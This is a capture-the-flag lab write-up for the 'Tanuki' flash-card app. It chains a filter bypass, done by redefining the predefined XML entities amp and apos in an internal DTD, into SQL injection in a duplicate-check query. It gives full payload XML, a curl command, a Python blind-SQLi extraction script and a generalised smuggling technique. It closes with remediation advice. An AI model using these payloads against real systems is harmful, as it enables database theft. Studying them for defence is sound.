Tanuki: XML Entity Smuggling to SQL Injection
Tanuki SRS Flash Cards: XML Entity Smuggling to SQL Injection
Target: https://lab-1784072851012-fdhpox.labs-app.bugforge.io/
App: Tanuki, a spaced repetition flash card web app (React SPA + Express/SQLite API)
Flag: bug{F9wbKlcwsiAQZubz7xNcWMQ41xicQBrC}
1. Reconnaissance
The index page is a React SPA (/static/js/main.c14aa94a.js). Pulling the bundle and grepping for $o.<verb>("/api/... revealed the full API surface:
POST /api/register POST /api/login GET /api/verify-token
POST /api/forgot-password POST /api/reset-password
GET /api/decks GET /api/decks/:id POST /api/decks
POST /api/decks/:id/cards POST /api/decks/:id/clone POST /api/decks/:id/share
POST /api/decks/import GET /api/decks/:id/export
GET /api/study/:id/cards POST /api/study/progress POST /api/study/session
GET /api/community GET /api/shared/:token GET /api/users/:u/profile
GET /api/admin/users POST/PUT/DELETE /api/admin/users(/:id)
GET /api/admin/decks POST/PUT/DELETE /api/admin/decks(/:id)
GET /api/admin/cards POST/PUT/DELETE /api/admin/cards(/:id)
Key observations:
- Authentication: HS256 JWT containing only
{"id","username","iat"}(norole, noexp). Therolelives in the DB and is returned byGET /api/verify-token. - Registering an account (
id=4) and hitting/api/admin/*returns403 Admin access required. Admin is gated server-side on the DBrole. - Three seeded decks exist (
Planets & Moons,Linux Trivia,Cheese Origins), all withowner_id: null. - The
POST /api/decks/importendpoint acceptsContent-Type: application/xmland the bundle’s placeholder shows the expected shape:
<?xml version="1.0" encoding="UTF-8"?>
<deck>
<name>My Imported Deck</name>
<description>...</description>
<category>General</category>
<cards><card><front>..</front><back>..</back></card></cards>
</deck>
An XML import feature is a classic XXE honeypot, so attention focused there.
2. Probing the XML parser
A normal import works. Testing entity behavior:
| Payload | Result | Meaning |
|---|---|---|
internal entity <!ENTITY xxe "HELLO"> in <back> |
imported; card back = HELLO |
internal general entities are expanded |
same entity referenced in <name> |
Unsupported entity reference in deck name: &xxe; |
name field has a filter that rejects custom entity references |
<!ENTITY xxe SYSTEM "file:///etc/hostname"> (anywhere) |
Could not parse XML deck export |
external entities are blocked by the parser |
&, < in <name> |
imported fine (name = A & B, A < B) |
the 5 predefined entities are allowed in the name |
So the parser expands internal entities but refuses to load external ones, and the <name> field has a guard that permits only the predefined entities (amp lt gt apos quot).
A side note: sending the body as UTF-16LE with Content-Type: application/xml; charset=utf-16le is parsed correctly (the server honors the charset). That alone doesn’t bypass the name filter (it runs on the decoded text), but it confirmed the server decodes the body with the content-type charset before parsing.
3. The trick: redefining a predefined entity
XML lets you re-declare the predefined entities in an internal DTD. The name filter only checks that the reference is one of the five predefined names; it does not verify that the replacement text is the canonical character. So:
<!DOCTYPE deck [
<!ENTITY amp "CUSTOM_AMP_VALUE">
]>
<deck><name>A & B</name> ... </deck>
The filter sees & (predefined, so allowed) and the special character check sees A & B (no quotes, so allowed), but the parser expands & to my string. The imported deck’s name became A CUSTOM_AMP_VALUE B. The name filter is bypassed.
4. Discovering the SQL injection
Putting a single quote in the redefined entity:
<!ENTITY amp "x'y">
→ HTTP 500 {"error":"Database error"}
But a balanced two-quote value (x''y) imported cleanly, and a '||(SELECT 1)||' value was stored literally as the deck name (A '||(SELECT 1)||' B), i.e. the subquery did not execute.
That pair of facts pinpoints the bug:
- The deck INSERT is parameterized (the expanded name is stored verbatim).
- But before inserting, the server runs a duplicate-check
SELECTagainst the “official library” using the name concatenated unescaped into the SQL.
So the expanded name reaches a raw SQL string. A single quote breaks it (500); a balanced pair is harmless; and crucially, a boolean tautology in that SELECT changes the application’s response, a textbook boolean-based SQL injection where the duplicate-check’s row count is the tell.
5. Quick hit: turning the SELECT into a data exfiltrator
The duplicate-check query is effectively:
SELECT name, description FROM decks WHERE name = '<expanded name>' ...
If it returns rows, the API responds with imported:false and conveniently echoes the matched decks back in a matches array:
{"imported":false,"message":"A deck with this name is already in the official library","matches":[...]}
So instead of a slow boolean blind, the matches array is a direct exfiltration channel; we just need the SELECT to return all rows. Inject:
' OR 1=1 OR '1'='1
Expanded name → A ' OR 1=1 OR '1'='1 B, which in SQL becomes:
WHERE name = 'A ' OR 1=1 OR '1'='1 B'
1=1 is true, the quotes stay balanced (the trailing ` B is absorbed into the final string literal), and no – comment is needed. The query returns every deck, and the matches array leaks them all, including a deck that the normal GET /api/decks listing never showed: **JLPT N1 Certification Answer Key**, whose description` is the flag.
6. Final payload
<?xml version="1.0"?>
<!DOCTYPE deck [
<!ENTITY amp "' OR 1=1 OR '1'='1">
]>
<deck>
<name>A & B</name>
<description>t</description>
<category>G</category>
<cards><card><front>f</front><back>b</back></card></cards>
</deck>
curl -s -X POST "$B/api/decks/import" \
-H "Authorization: Bearer $T" \
-H "Content-Type: application/xml" \
--data-binary @payload.xml
Response (truncated):
{"imported":false,"message":"A deck with this name is already in the official library",
"matches":[
{"name":"Planets & Moons","description":"..."},
{"name":"Linux Trivia","description":"..."},
{"name":"Cheese Origins","description":"..."},
{"name":"JLPT N1 Certification Answer Key","description":"bug{F9wbKlcwsiAQZubz7xNcWMQ41xicQBrC}"},
...
]}
Flag:
bug{F9wbKlcwsiAQZubz7xNcWMQ41xicQBrC}
7. Resilient fallback: blind / error-based SQLi (no reflection needed)
The quick hit in §5 leans on the API echoing matched decks back in the
matches array, which is the fragile part of that path: a one-line fix that
returned a bare boolean would kill it while leaving the injection untouched. The
durable route through the very same injection, the one that still works if that
reflection were removed, is a boolean blind read of the very same
duplicate-check SELECT. (This is the path an independent solve of the same lab
took; that instance minted its own flag bug{vYLL4F6PyfllROe2uRKXyTviPHgCbwk5}.)
Entry is the same root cause, different predefined entity. Instead of
redefining amp, use the predefined ' entity, which the name filter
allowlists but which resolves to ' after the filter runs. Put the whole SQL
fragment in the name with quotes encoded as ':
<name>Z'||(SELECT CASE WHEN (<cond>) THEN 'x'
ELSE abs(-9223372036854775808) END)||'Z</name>
which resolves to the SQL fragment
Z'||(SELECT CASE WHEN (<cond>) THEN 'x' ELSE abs(-9223372036854775808) END)||'Z
concatenated into WHERE name = '...'.
The tell: the injected query isn’t reflected, so flip the response between two distinguishable states:
- TRUE →
THEN 'x'→ scalar'x'→ 0/1 rows → import proceeds →{"imported":true,...} - FALSE →
abs(-9223372036854775808)→ SQLite integer overflow error →{"error":"Database error"}(HTTP 500)
Why not a
UNIONfor the FALSE branch? A multi-row scalar subquery (SELECT 'y' UNION SELECT 'z') does not error here; SQLite silently returns the first row of a scalar subquery, so FALSE never flipped. The integer overflowabs(-9223372036854775808)is the reliable error trigger.
Extraction is then standard blind SQLi, one binary search per character:
- length:
length(coalesce((<expr>),'')) >= N - character i:
unicode(substr((<expr>),i,1)) > N(binary search over code points)
def oracle(cond):
payload = "Z'||(SELECT CASE WHEN ("+cond+") THEN 'x' ELSE abs(-9223372036854775808) END)||'Z"
out = imp_name(payload) # encodes ' -> ', & -> & in the <name>
return '"imported":true' in out # True / False (Database error)
def get_str(expr, maxlen=400):
lo, hi = 0, maxlen
while lo < hi: # length via binary search
mid = (lo + hi + 1)//2
if oracle(f"length(coalesce(({expr}),''))>={mid}"): lo = mid
else: hi = mid - 1
n = lo; chars = []
for i in range(1, n + 1): # each char via binary search
lo, hi = 31, 126
while lo < hi:
mid = (lo + hi)//2
if oracle(f"unicode(substr(({expr}),{i},1))>{mid}"): lo = mid + 1
else: hi = mid
chars.append(chr(lo))
return "".join(chars)
Schema walk (all via get_str):
- tables:
SELECT group_concat(name,',') FROM sqlite_master WHERE type='table'→users,sqlite_sequence,decks,cards,user_progress,study_sessions,password_resets - columns:
SELECT group_concat(name,',') FROM pragma_table_info('decks')→id,name,description,category,owner_id,is_public,share_token,created_at - locate the flag:
(SELECT count(*) FROM decks WHERE name LIKE '%{%' OR description LIKE '%{%')>0→ true, and the matching deck hasowner_id=1(admin), hidden from normalGET /api/decks. - extract:
SELECT name FROM decks WHERE owner_id=1 LIMIT 1→JLPT N1 Certification Answer KeySELECT description FROM decks WHERE owner_id=1 LIMIT 1→ the flag
This path sends many requests (a binary search per character) but needs no
reflection, only the imported:true versus Database error distinction, so it
survives removal of the matches array. The two paths share the same root cause
(predefined-entity resolution bypasses the name filter → unescaped concatenation
into the duplicate-check SELECT); they differ only in the exfiltration channel.
8. Vulnerability chain (root cause)
- Internal entity expansion: the XML parser expands internal general entities (external entities are blocked, so this is not XXE).
- Filter bypass via predefined-entity redefinition: the
<name>filter only allowlists the namesamp/lt/gt/apos/quot, not their replacement text, so redefiningampsmuggles an arbitrary string past both the entity filter and the character filter. - SQL injection into the duplicate-check query: the expanded name is concatenated unescaped into a duplicate-check
SELECTin the same request (while theINSERTis parameterized), and thematchesarray reflects the query’s rows back to the attacker.
One injection, two exfiltration channels. The reflected matches array (§5) is the quick hit: a single request dumps every row. The blind boolean/error read (§7) is the resilient fallback: it needs only the imported:true versus Database error distinction, so it still works if a fix strips the reflection but leaves the injection in place. The reflection is the fragile part of the fast path; the injection is the durable part, which is why the blind route is worth building before assuming the fast one will always be there.
9. Remediation
- Parameterize the duplicate-check query (use placeholders, never string-concatenate the name into SQL). This alone kills the SQLi.
- Don’t expand untrusted entities. Parse import XML with external/internal entity substitution disabled (
noent: false, no DTD processing), or use a safe parser; reject<!DOCTYPE/<!ENTITY>entirely for deck imports. - Validate the expanded value, not the raw markup. Filters that run on the unexpanded text are trivially bypassed by entity redefinition.
- Don’t echo matched rows back to the client; return only a generic “name unavailable” boolean.
- JWT hardening (not the path here, but relevant): add
exp, includeroleonly from DB, pinalgorithms: ['HS256']on verify, use a high-entropy secret.
10. Key Learnings
-
To get filter-blocked bytes into a field that passes through an XML parser before a sink, redefine a built-in XML entity to carry them. Character filters usually run on the pre-expansion element text while the sink uses the post-expansion value, a parse-order (sanitize-before-expand, use-after-expand) differential. Redefine one of the five predefined entities (
amp/lt/gt/apos/quot) in an internal DOCTYPE and reference it in the field; the element reads benign to any pre-expansion validator, but the sink receives the expanded payload. The sink can be SQL, an OS command, LDAP, a template, or a second parser, so this holds for any XML-to-validate-to-sink pipeline. On Tanuki a literal quote in<name>was rejected, but<!ENTITY amp "' OR 1=1 OR '1'='1">referenced asA & Bsmuggled the quote into an unescaped duplicate-checkSELECT. -
When an XML import endpoint’s XXE file-read doesn’t reflect, treat a parsed field as an injection sink and hunt a reflected validation/dedup response as the read channel. An XML ingest endpoint (often mirrored by an XML export) where SYSTEM-entity / XInclude file-read imports cleanly but returns no file content is not necessarily dead; a parsed field can still flow into a sink whose result is mirrored back on some other path. Here that channel was the import’s duplicate-name response, which echoes matched rows in
matches[], so' OR 1=1 OR '1'='1dumped the official library in one request. Treat the reflected channel as a convenience rather than the exploit itself: keep a blind boolean/error read of the same sink ready, since a one-line change to return a bare boolean would remove the reflection while the injection lives on. -
To prove a “returns matching rows” response is SQL injection and not a benign listing, send a FALSE predicate and a TRUE predicate and confirm they diverge. A benign “always list everything” branch returns the same rows regardless of predicate; only injection makes the row set track the boolean. Send a syntactically valid FALSE predicate and a TRUE predicate, confirm the false one gives no dump and the true one gives the full dump, then add the lone-quote leg (500 / Database error) to prove the value reaches the query. On Tanuki the entity expands inside the
A & Bname template, so the tail after any injection is ` B: that makesx’ or ‘1’=’1false here (its tail closes as‘1’=’1 B’, which is not equal), so it imported with no dump, whilex’ or 1=1–dumped because the–drops the trailingB, and a lone quoteq’zreturned a 500. The standalone1=1, not the‘1’=’1, carries the true case, which is why the §5 payload keeps an un-ANDed1=1. The same divergence drives the blind fallback when nothing reflects: a scalar‘x’for true versus a forcedabs(-9223372036854775808)` overflow error for false.
11. Timeline / false starts
- JWT secret cracking (rockyou + best66 rules, scraped-JWT-secrets, targeted tanuki wordlist): exhausted, secret not in any list.
alg:noneand register mass-assignment (role:"admin") both rejected by the server. - External-entity XXE (
SYSTEM/PUBLIC,file://, HTTP OOB to a webhook): all blocked by the parser config; the UTF-16LE charset bypass only helped parsing, not external loading. - The win came from the internal entity path: redefine
amp→ bypass the name filter → reach the unescapedSELECT→ leak viamatches. An independent solve of the same lab (§7) used the parallel'entry with a boolean/error tell and character-by-character blind extraction instead of thematchesreflection.
Tags: #sqli #xml-entity-smuggling #filter-bypass #blind-sqli #bugforge #webapp
Document Version: 1.0
Last Updated: 2026-07-15